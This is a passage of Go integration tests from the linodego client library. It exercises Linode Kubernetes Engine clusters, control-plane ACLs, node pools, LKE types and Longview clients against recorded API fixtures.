&http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, Base: r, }, } c = linodego.NewClient(oc) c.SetDebug(debugAPI). SetPollDelay(testingPollDuration). SetRetryMaxWaitTime(testingMaxRetryTime) return &c, recordStopper } // transportRecordWrapper returns a tranport.WrapperFunc which provides the test // recorder as an http.RoundTripper. func transportRecorderWrapper(t *testing.T, fixtureYaml string) (transport.WrapperFunc, func()) { t.Helper() rec, teardown := testRecorder(t, fixtureYaml, testingMode, nil) return func(r http.RoundTripper) http.RoundTripper { rec.SetTransport(r) return rec }, teardown } /* Helper function getRegionsWithCaps returns a list of regions that support the given capabilities and plans. It filters regions based on their capabilities and the availability of specified plans. If the plans list is empty, it only checks for the capabilities. Parameters: - capabilities: A list of required capabilities that regions must support. Returns: - string values representing the IDs of regions that have a given set of capabilities. */ func getRegionsWithCaps(t *testing.T, client *linodego.Client, capabilities []string) []string { result := make([]string, 0) regions, err := client.ListRegions(context.Background(), nil) if err != nil { t.Fatal(err) } for _, region := range regions { if region.Status != "ok" || !regionHasCaps(region, capabilities) { continue } result = append(result, region.ID) } return result } // getRegionWithCapsAndPlans resolves a list of regions that meet the given capabilities // and has availability for all the provided plans. func getRegionsWithCapsAndPlans(t *testing.T, client *linodego.Client, capabilities, plans []string) []string { regionsWithCaps := getRegionsWithCaps(t, client, capabilities) regionsAvailabilities, err := client.ListRegionsAvailability(context.Background(), nil) require.NoError(t, err) type availKey struct { Region string Plan string } availMap := make(map[availKey]linodego.RegionAvailability, len(regionsAvailabilities)) for _, avail := range regionsAvailabilities { availMap[availKey{Region: avail.Region, Plan: avail.Plan}] = avail } // Function to check if a region has the required plans available regionHasPlans := func(regionID string) bool { for _, plan := range plans { if avail, ok := availMap[availKey{Region: regionID, Plan: plan}]; !ok || !avail.Available { return false } } return true } result := make([]string, 0, len(regionsWithCaps)) for _, region := range regionsWithCaps { if !regionHasPlans(region) { continue } result = append(result, region) } return result } // getRegionsWithCapsAndSiteType returns a list of regions that meet the given capabilities and site type func getRegionsWithCapsAndSiteType(t *testing.T, client *linodego.Client, capabilities []string, siteType string) []string { result := make([]string, 0) regions, err := client.ListRegions(context.Background(), nil) if err != nil { t.Fatal(err) } for _, region := range regions { if region.Status != "ok" || region.SiteType != siteType || !regionHasCaps(region, capabilities) { continue } result = append(result, region.ID) } return result } func regionHasCaps(r linodego.Region, capabilities []string) bool { capsMap := make(map[string]bool) for _, c := range r.Capabilities { capsMap[strings.ToUpper(c)] = true } for _, c := range capabilities { if _, ok := capsMap[strings.ToUpper(c)]; !ok { return false } } return true } golang-github-linode-linodego-1.47.0/test/integration/lke_clusters_acl_test.go000066400000000000000000000035331474652371000276230ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/linode/linodego" ) func TestLKECluster_withACL(t *testing.T) { valueTrue := true client, cluster, teardown, err := setupLKECluster( t, []clusterModifier{ func(options *linodego.LKEClusterCreateOptions) { options.ControlPlane = &linodego.LKEClusterControlPlaneOptions{ ACL: &linodego.LKEClusterControlPlaneACLOptions{ Enabled: &valueTrue, Addresses: &linodego.LKEClusterControlPlaneACLAddressesOptions{ IPv4: &[]string{"10.0.0.1/32"}, IPv6: &[]string{"1234::5678"}, }, }, } }, }, "fixtures/TestLKECluster_withACL", ) require.NoError(t, err) defer teardown() acl, err := client.GetLKEClusterControlPlaneACL(context.Background(), cluster.ID) assert.NoError(t, err) require.Equal(t, true, acl.ACL.Enabled) require.Equal(t, "10.0.0.1/32", acl.ACL.Addresses.IPv4[0]) require.Equal(t, "1234::5678/128", acl.ACL.Addresses.IPv6[0]) acl, err = client.UpdateLKEClusterControlPlaneACL( context.Background(), cluster.ID, linodego.LKEClusterControlPlaneACLUpdateOptions{ ACL: linodego.LKEClusterControlPlaneACLOptions{ Enabled: &valueTrue, Addresses: &linodego.LKEClusterControlPlaneACLAddressesOptions{ IPv4: &[]string{"10.0.0.2/32"}, IPv6: &[]string{}, }, RevisionID: "test-revision-id", }, }, ) require.NoError(t, err) require.Equal(t, true, acl.ACL.Enabled) require.Equal(t, "10.0.0.2/32", acl.ACL.Addresses.IPv4[0]) require.Equal(t, 0, len(acl.ACL.Addresses.IPv6)) err = client.DeleteLKEClusterControlPlaneACL(context.Background(), cluster.ID) require.NoError(t, err) acl, err = client.GetLKEClusterControlPlaneACL(context.Background(), cluster.ID) assert.NoError(t, err) assert.Equal(t, false, acl.ACL.Enabled) } golang-github-linode-linodego-1.47.0/test/integration/lke_clusters_test.go000066400000000000000000000263771474652371000270170ustar00rootroot00000000000000package integration import ( "context" "net/url" "reflect" "testing" "github.com/linode/linodego" k8scondition "github.com/linode/linodego/k8s/pkg/condition" ) func TestLKECluster_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKECluster_GetMissing") defer teardown() i, err := client.GetLKECluster(context.Background(), 0) if err == nil { t.Errorf("should have received an error requesting a missing lkeCluster, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing lkeCluster, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing lkeCluster, got %v", e.Code) } } func TestLKECluster_WaitForReady(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-wait" createOpts.NodePools = []linodego.LKENodePoolCreateOptions{ {Count: 3, Type: "g6-standard-1"}, } }}, "fixtures/TestLKECluster_WaitForReady") defer teardown() wrapper, teardownClusterClient := transportRecorderWrapper(t, "fixtures/TestLKECluster_WaitForReady_Cluster") defer teardownClusterClient() if err = k8scondition.WaitForLKEClusterReady(context.Background(), *client, cluster.ID, linodego.LKEClusterPollOptions{ Retry: true, TimeoutSeconds: 10 * 60, TransportWrapper: wrapper, }); err != nil { t.Errorf("Error waiting for the LKE cluster pools to be ready: %s", err) } } func TestLKECluster_GetFound_smoke(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-found" }}, "fixtures/TestLKECluster_GetFound") defer teardown() i, err := client.GetLKECluster(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster, expected struct, got %v and error %v", i, err) } if i.ID != lkeCluster.ID { t.Errorf("Expected a specific lkeCluster, but got a different one %v", i) } } func TestLKECluster_Enterprise_smoke(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Tier = "enterprise" createOpts.Region = "us-lax" createOpts.K8sVersion = "v1.31.1+lke1" }}, "fixtures/TestLKECluster_Enterprise_smoke") defer teardown() i, err := client.GetLKECluster(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster, expected struct, got %v and error %v", i, err) } if i.ID != lkeCluster.ID { t.Errorf("Expected a specific lkeCluster, but got a different one %v", i) } if i.Tier != "enterprise" { t.Errorf("Expected a lkeCluster to have enterprise tier") } } func TestLKECluster_Update(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-update" }}, "fixtures/TestLKECluster_Update") defer teardown() if err != nil { t.Fatal(err) } updatedTags := []string{"test=true"} updatedLabel := cluster.Label + "-updated" updatedK8sVersion := "1.30" updatedCluster, err := client.UpdateLKECluster(context.Background(), cluster.ID, linodego.LKEClusterUpdateOptions{ Tags: &updatedTags, Label: updatedLabel, K8sVersion: updatedK8sVersion, }) if err != nil { t.Fatalf("failed to update LKE Cluster (%d): %s", cluster.ID, err) } if updatedCluster.Label != updatedLabel { t.Errorf("expected label to be updated to %q; got %q", updatedLabel, updatedCluster.Label) } if updatedCluster.K8sVersion != updatedK8sVersion { t.Errorf("expected k8s version to be updated to %q; got %q", updatedK8sVersion, updatedCluster.K8sVersion) } if !reflect.DeepEqual(updatedTags, updatedCluster.Tags) { t.Errorf("expected tags to be updated to %#v; got %#v", updatedTags, updatedCluster.Tags) } // Update the LKE cluster to HA // This needs to be done in a separate API request from the K8s version upgrade isHA := true updatedControlPlane := &linodego.LKEClusterControlPlaneOptions{HighAvailability: &isHA} updatedCluster, err = client.UpdateLKECluster(context.Background(), cluster.ID, linodego.LKEClusterUpdateOptions{ ControlPlane: updatedControlPlane, }) if err != nil { t.Fatalf("failed to update LKE Cluster (%d): %s", cluster.ID, err) } if !reflect.DeepEqual(*updatedControlPlane.HighAvailability, updatedCluster.ControlPlane.HighAvailability) { t.Errorf("expected control plane to be updated to %#v; got %#v", updatedControlPlane, updatedCluster.ControlPlane) } } func TestLKECluster_Nodes_Recycle(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-recycle" }}, "fixtures/TestLKECluster_Nodes_Recycle") defer teardown() if err != nil { t.Fatal(err) } err = client.RecycleLKEClusterNodes(context.TODO(), cluster.ID) if err != nil { t.Errorf("failed to recycle LKE cluster: %s", err) } } func TestLKECluster_APIEndpoints_List(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-apiend" }}, "fixtures/TestLKECluster_APIEndpoints_List") defer teardown() if err != nil { t.Error(err) } i, err := client.ListLKEClusterAPIEndpoints(context.Background(), lkeCluster.ID, nil) if err != nil { t.Errorf("Error listing lkeClusterAPIEndpoints, expected struct, got error %v", err) } if len(i) <= 0 { t.Errorf("Expected some lkeClusterAPIEndpoints, but got none %v", i) } } func TestLKECluster_Kubeconfig_Get(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-kube-get" }}, "fixtures/TestLKECluster_Kubeconfig_Get") defer teardown() _, err = client.WaitForLKEClusterStatus(context.Background(), lkeCluster.ID, linodego.LKEClusterReady, 180) if err != nil { t.Errorf("Error waiting for LKECluster readiness: %s", err) } i, err := client.GetLKEClusterKubeconfig(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster Kubeconfig, expected struct, got %v and error %v", i, err) } if len(i.KubeConfig) == 0 { t.Errorf("Expected an lkeCluster Kubeconfig, but got empty string %v", i) } } func TestLKECluster_Kubeconfig_Delete(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-kube-delete" }}, "fixtures/TestLKECluster_Kubeconfig_Delete") defer teardown() _, err = client.WaitForLKEClusterStatus(context.Background(), lkeCluster.ID, linodego.LKEClusterReady, 180) if err != nil { t.Errorf("Error waiting for LKECluster readiness: %s", err) } i, err := client.GetLKEClusterKubeconfig(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster Kubeconfig, expected struct, got %v and error %v", i, err) } if len(i.KubeConfig) == 0 { t.Errorf("Expected an lkeCluster Kubeconfig, but got empty string %v", i) } delete_err := client.DeleteLKEClusterKubeconfig(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error deleting lkeCluster Kubeconfig, got error %v", delete_err) } } func TestLKECluster_Dashboard_Get(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-dash" }}, "fixtures/TestLKECluster_Dashboard_Get") defer teardown() _, err = client.WaitForLKEClusterStatus(context.Background(), lkeCluster.ID, linodego.LKEClusterReady, 180) if err != nil { t.Errorf("Error waiting for LKECluster readiness: %s", err) } i, err := client.GetLKEClusterDashboard(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting LKE cluster dashboard URL, expected struct, got %v and error %v", i, err) } if len(i.URL) == 0 { t.Errorf("Expected an LKE cluster dashboard URL, but got empty string %v", i) } if _, err := url.ParseRequestURI(i.URL); err != nil { t.Errorf("invalid url: %s", err) } } func TestLKEClusters_List(t *testing.T) { client, _, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-list" }}, "fixtures/TestLKEClusters_List") if err != nil { t.Error(err) } defer teardown() // @TODO filter on the known label, API docs say this is supported, but it // errors i, err := client.ListLKEClusters(context.Background(), nil) if err != nil { t.Errorf("Error listing lkeClusters, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of lkeClusters, but got none %v", i) } } func TestLKEVersion_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersion_GetMissing") defer teardown() i, err := client.GetLKEVersion(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing version, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing version, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing version, got %v", e.Code) } } func TestLKEVersion_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersion_GetFound") defer teardown() i, err := client.GetLKEVersion(context.Background(), "1.29") if err != nil { t.Errorf("Error getting version, expected struct, got %v and error %v", i, err) } if i.ID != "1.29" { t.Errorf("Expected a specific version, but got a different one %v", i) } } func TestLKEVersions_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersions_List") defer teardown() i, err := client.ListLKEVersions(context.Background(), nil) if err != nil { t.Errorf("Error listing versions, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of versions, but got none %v", i) } } type clusterModifier func(*linodego.LKEClusterCreateOptions) func setupLKECluster(t *testing.T, clusterModifiers []clusterModifier, fixturesYaml string) (*linodego.Client, *linodego.LKECluster, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := linodego.LKEClusterCreateOptions{ Label: label, Region: getRegionsWithCaps(t, client, []string{"Kubernetes", "Disk Encryption"})[0], K8sVersion: "1.31", Tags: []string{"testing"}, NodePools: []linodego.LKENodePoolCreateOptions{{Count: 1, Type: "g6-standard-2", Tags: []string{"test"}}}, } for _, modifier := range clusterModifiers { modifier(&createOpts) } lkeCluster, err := client.CreateLKECluster(context.Background(), createOpts) if err != nil { t.Errorf("failed to create LKE cluster: %s", err) } teardown := func() { if err := client.DeleteLKECluster(context.Background(), lkeCluster.ID); err != nil { t.Errorf("failed to delete LKE cluster: %s", err) } fixtureTeardown() } return client, lkeCluster, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/lke_node_pools_test.go000066400000000000000000000231511474652371000272770ustar00rootroot00000000000000package integration import ( "context" "testing" k8scondition "github.com/linode/linodego/k8s/pkg/condition" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) var testLKENodePoolCreateOpts = linodego.LKENodePoolCreateOptions{ Type: "g6-standard-2", Count: 2, Disks: []linodego.LKENodePoolDisk{ { Size: 1000, Type: "ext4", }, }, Tags: []string{"testing"}, } func TestLKENodePool_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKENodePool_GetMissing") defer teardown() i, err := client.GetLKENodePool(context.Background(), 0, 0) if err == nil { t.Errorf("should have received an error requesting a missing LKENodePool, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing LKENodePool, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing LKENodePool, got %v", e.Code) } } func TestLKENodePool_GetFound(t *testing.T) { client, lkeCluster, pool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_GetFound", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() i, err := client.GetLKENodePool(context.Background(), lkeCluster.ID, pool.ID) if err != nil { t.Errorf("Error getting LKENodePool, expected struct, got %v and error %v", i, err) } if i.ID != pool.ID { t.Errorf("Expected a specific LKENodePool, but got a different one %v", i) } if i.Count != 2 { t.Errorf("expected count to be 2; got %d", i.Count) } if i.Type != "g6-standard-2" { t.Errorf("expected type to be g6-standard-2; got %s", i.Type) } if diff := cmp.Diff(linodego.LKENodePoolAutoscaler{ Min: 2, Max: 2, Enabled: false, }, pool.Autoscaler); diff != "" { t.Errorf("unexpected autoscaler:\n%s", diff) } if diff := cmp.Diff([]string{"testing"}, i.Tags); diff != "" { t.Errorf("unexpected tags:\n%s", diff) } if i.DiskEncryption != linodego.InstanceDiskEncryptionEnabled { t.Errorf("DiskEncryption not enabled, got: %s, want: %s", i.DiskEncryption, linodego.InstanceDiskEncryptionEnabled) } wrapper, teardownClusterClient := transportRecorderWrapper(t, "fixtures/TestLKENodePool_GetFound_k8s") defer teardownClusterClient() if err := k8scondition.WaitForLKEClusterAndNodesReady(context.TODO(), *client, lkeCluster.ID, linodego.LKEClusterPollOptions{ Retry: true, TimeoutSeconds: 0, TransportWrapper: wrapper, }); err != nil { t.Fatalf("got err waiting for LKE cluster and nodes to be ready, err: %v", err) } i, err = client.GetLKENodePool(context.TODO(), lkeCluster.ID, pool.ID) if err != nil { t.Fatalf("failed to get lke node pool, got err: %v", err) } for _, node := range i.Linodes { instance, err := client.GetInstance(context.Background(), node.InstanceID) if err != nil { t.Errorf("failed to get Linode, got err: %v", err) } if instance.LKEClusterID != lkeCluster.ID { t.Errorf("linode: %d is LKENodePool member but got linode LKEClusterID: %d, want: %d", instance.ID, instance.LKEClusterID, lkeCluster.ID) } } } func TestLKENodePools_List(t *testing.T) { client, lkeCluster, _, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePools_List", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() i, err := client.ListLKENodePools(context.Background(), lkeCluster.ID, nil) if err != nil { t.Errorf("Error listing LKENodePool, expected struct, got error %v", err) } if len(i) != 2 { t.Errorf("Expected two LKENodePool, but got %#v", i) } } func TestLKENodePoolNode_Get(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePoolNode_Get", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() linodes := nodePool.Linodes nodePoolNode, err := client.GetLKENodePoolNode(context.Background(), lkeCluster.ID, linodes[0].ID) if err != nil { t.Errorf("failed to get node %q: %s", linodes[0].ID, err) } if nodePoolNode.ID != linodes[0].ID { t.Errorf("expected node pool node to have id %s; got %s", linodes[0].ID, nodePoolNode.ID) } } func TestLKENodePoolNode_Recycle(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePoolNode_Recycle", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() linodes := nodePool.Linodes err = client.RecycleLKENodePoolNode(context.Background(), lkeCluster.ID, linodes[0].ID) if err != nil { t.Errorf("failed to recycle node pool node: %s", err) } } func TestLKENodePoolNode_Delete(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePoolNode_Delete", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() linodes := nodePool.Linodes err = client.DeleteLKENodePoolNode(context.TODO(), lkeCluster.ID, linodes[0].ID) if err != nil { t.Errorf("failed to delete node %q: %s", linodes[0].ID, err) } nodePool, err = client.GetLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID) if err != nil { t.Errorf("failed to get updated node pool: %s", err) } if !(len(nodePool.Linodes) == 1 && nodePool.Linodes[0].ID == linodes[1].ID) { t.Errorf("expected node pool to have 1 linode (%s); got %v", linodes[1].ID, nodePool.Linodes) } } func TestLKENodePool_Recycle(t *testing.T) { client, lkeCluster, pool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_Recycle", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() i, err := client.GetLKENodePool(context.Background(), lkeCluster.ID, pool.ID) if err != nil { t.Errorf("Error getting LKENodePool, expected struct, got %v and error %v", i, err) } err = client.RecycleLKENodePool(context.Background(), lkeCluster.ID, pool.ID) if err != nil { t.Errorf("failed to recycle node pool: %s", err) } } func TestLKENodePool_Update(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_Update", &testLKENodePoolCreateOpts) if err != nil { t.Error(err) } defer teardown() updatedAutoscaler := linodego.LKENodePoolAutoscaler{ Enabled: true, Min: 2, Max: 5, } updatedTags := []string{} updated, err := client.UpdateLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID, linodego.LKENodePoolUpdateOptions{ Count: 2, // downsize Tags: &updatedTags, // remove all tags Autoscaler: &updatedAutoscaler, }) if err != nil { t.Fatal(err) } if len(updated.Tags) != 0 { t.Errorf("expected tags to be empty; got %v", updated.Tags) } if updated.Count != 2 { t.Errorf("expected count to be 2; got %d", updated.Count) } if len(updated.Labels) != 0 { t.Errorf("expected labels to be empty; got %v", updated.Labels) } if len(updated.Taints) != 0 { t.Errorf("expected taints to be empty; got %v", updated.Taints) } updatedTags = []string{"bar", "foo", "test"} updatedLabels := linodego.LKENodePoolLabels{"foo": "bar"} updatedTaints := []linodego.LKENodePoolTaint{{ Key: "foo", Value: "bar", Effect: linodego.LKENodePoolTaintEffectNoSchedule, }} updated, err = client.UpdateLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID, linodego.LKENodePoolUpdateOptions{ Count: 3, // upsize Tags: &updatedTags, // repopulate tags Labels: &updatedLabels, // set a label Taints: &updatedTaints, // set a taint }) if err != nil { t.Fatal(err) } if diff := cmp.Diff(updatedTags, updated.Tags); diff != "" { t.Errorf("unexpected tags:\n%s", diff) } if diff := cmp.Diff(updatedAutoscaler, updated.Autoscaler); diff != "" { t.Errorf("unexpected autoscaler:\n%s", diff) } if diff := cmp.Diff(updatedLabels, updated.Labels); diff != "" { t.Errorf("unexpected labels:\n%s", diff) } if diff := cmp.Diff(updatedTaints, updated.Taints); diff != "" { t.Errorf("unexpected taints:\n%s", diff) } if updated.Count != 3 { t.Errorf("expected count to be 3; got %d", updated.Count) } } func TestLKENodePool_CreateWithLabelsAndTaints(t *testing.T) { createOpts := &linodego.LKENodePoolCreateOptions{ Labels: linodego.LKENodePoolLabels{"foo": "bar"}, Taints: []linodego.LKENodePoolTaint{{ Key: "foo", Value: "bar", Effect: linodego.LKENodePoolTaintEffectNoSchedule, }}, Count: 1, Type: "g6-standard-1", } _, _, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_CreateWithLabelsAndTaints", createOpts) if err != nil { t.Error(err) } defer teardown() if diff := cmp.Diff(createOpts.Labels, nodePool.Labels); diff != "" { t.Errorf("unexpected labels:\n%s", diff) } if diff := cmp.Diff(createOpts.Taints, nodePool.Taints); diff != "" { t.Errorf("unexpected taints:\n%s", diff) } } func setupLKENodePool(t *testing.T, fixturesYaml string, nodePoolCreateOpts *linodego.LKENodePoolCreateOptions) (*linodego.Client, *linodego.LKECluster, *linodego.LKENodePool, func(), error) { t.Helper() var fixtureTeardown func() client, lkeCluster, fixtureTeardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-def" }}, fixturesYaml) if err != nil { t.Errorf("Error creating lkeCluster, got error %v", err) } pool, err := client.CreateLKENodePool(context.Background(), lkeCluster.ID, *nodePoolCreateOpts) if err != nil { t.Errorf("Error creating LKE Node Pool, got error %v", err) } teardown := func() { // delete the LKENodePool to exercise the code if err := client.DeleteLKENodePool(context.Background(), lkeCluster.ID, pool.ID); err != nil { t.Errorf("Expected to delete a LKE Node Pool, but got %v", err) } fixtureTeardown() } return client, lkeCluster, pool, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/lke_types_test.go000066400000000000000000000021221474652371000262750ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestLKEType_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEType_List") defer teardown() lkeTypes, err := client.ListLKETypes(context.Background(), nil) require.NoError(t, err) require.Greater(t, len(lkeTypes), 0) for _, lkeType := range lkeTypes { validateLKEType(t, lkeType) } } func validateLKEType( t *testing.T, lkeType linodego.LKEType, ) { require.NotEmpty(t, lkeType.ID) require.NotEmpty(t, lkeType.Label) // NOTE: We use >= 0 here because this is treated as an additional // cost on top of the base LKE cluster price, meaning SA has its // prices set to 0. require.GreaterOrEqual(t, lkeType.Price.Hourly, 0.0) require.GreaterOrEqual(t, lkeType.Price.Monthly, 0.0) require.GreaterOrEqual(t, lkeType.Transfer, 0) for _, regionPrice := range lkeType.RegionPrices { require.NotEmpty(t, regionPrice.ID) require.GreaterOrEqual(t, regionPrice.Hourly, 0.0) require.GreaterOrEqual(t, regionPrice.Monthly, 0.0) } } golang-github-linode-linodego-1.47.0/test/integration/longview_test.go000066400000000000000000000151501474652371000261350ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestLongviewClient_Get_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Get") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later fetch using get testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } }() // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID // If there is no error, then GetLongviewClient works properly longviewClient, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } longviewClientList, listErr := client.ListLongviewClients(context.Background(), nil) if listErr != nil { t.Errorf("Error listing longview clients:%s", listErr) } found := false for _, element := range longviewClientList { if element.ID == longviewClient.ID { found = true } } if !found { t.Errorf("Longview client not found in list.") } } func TestLongviewClient_Create_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Create") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later fetch using get testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } }() testingID := testingLongviewClient.ID // If there is no error, then TestLongviewClient_Create works properly _, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } } func TestLongviewClient_Delete(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Delete") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later delete testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID // Make sure the longview client exists longviewClient, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } // If there is no error, the longview client was deleted properly if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } longviewClientList, listErr := client.ListLongviewClients(context.Background(), nil) if listErr != nil { t.Errorf("Error listing longview clients:%s", listErr) } found := false for _, element := range longviewClientList { if element.ID == longviewClient.ID { found = true } } // If the longview client still appears in the list, then it was not deleted properly if found { t.Errorf("Longview client was found in list.") } } func TestLongviewClient_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Update") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later update testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID updateOptions := linodego.LongviewClientUpdateOptions{Label: "testing_updated"} // Update the longview client updatedTestingLongviewClient, updateErr := client.UpdateLongviewClient(context.TODO(), testingID, updateOptions) if createErr != nil { t.Errorf("Error updating longview client:%s", updateErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), updatedTestingLongviewClient.ID); err != nil { t.Fatal(err) } }() // If the label does not match what it was updated to, the update was not successful if updatedTestingLongviewClient.Label != "testing_updated" { t.Errorf("Longview client was not updated.") } } func TestLongviewPlan_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewPlan_Get") defer teardown() // Get the current longview plan testingLongviewPlan, err := client.GetLongviewPlan(context.Background()) if err != nil { t.Errorf("Error getting longview plan:%s", err) } // Ensure that a plan was returned if testingLongviewPlan == nil { t.Errorf("Expected a longview plan, recieved nil") } validIDs := []string{"longview-3", "longview-10", "longview-40", "longview-100", ""} // Ensure that the id of the longview plan is a valid one if !contains(validIDs, testingLongviewPlan.ID) { t.Errorf("Invalid longview plan ID:%s", testingLongviewPlan.ID) } } func TestLongviewPlan_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewPlan_Update") defer teardown() // Get the current longview plan testingLongviewPlan, getErr := client.GetLongviewPlan(context.Background()) if getErr != nil { t.Errorf("Error getting longview plan:%s", getErr) } testingID := testingLongviewPlan.ID updateOptions := linodego.LongviewPlanUpdateOptions{LongviewSubscription: "longview-10"} // Update the longview plan updatedLongviewPlan, updateErr := client.UpdateLongviewPlan(context.Background(), updateOptions) if updateErr != nil { t.Errorf("Error updating longview plan:%s", updateErr) } // Set the longview plan to what it was before (after the test) defer func() { resetOptions := linodego.LongviewPlanUpdateOptions{LongviewSubscription: testingID} if _, err := client.UpdateLongviewPlan(context.Background(), resetOptions); err != nil { 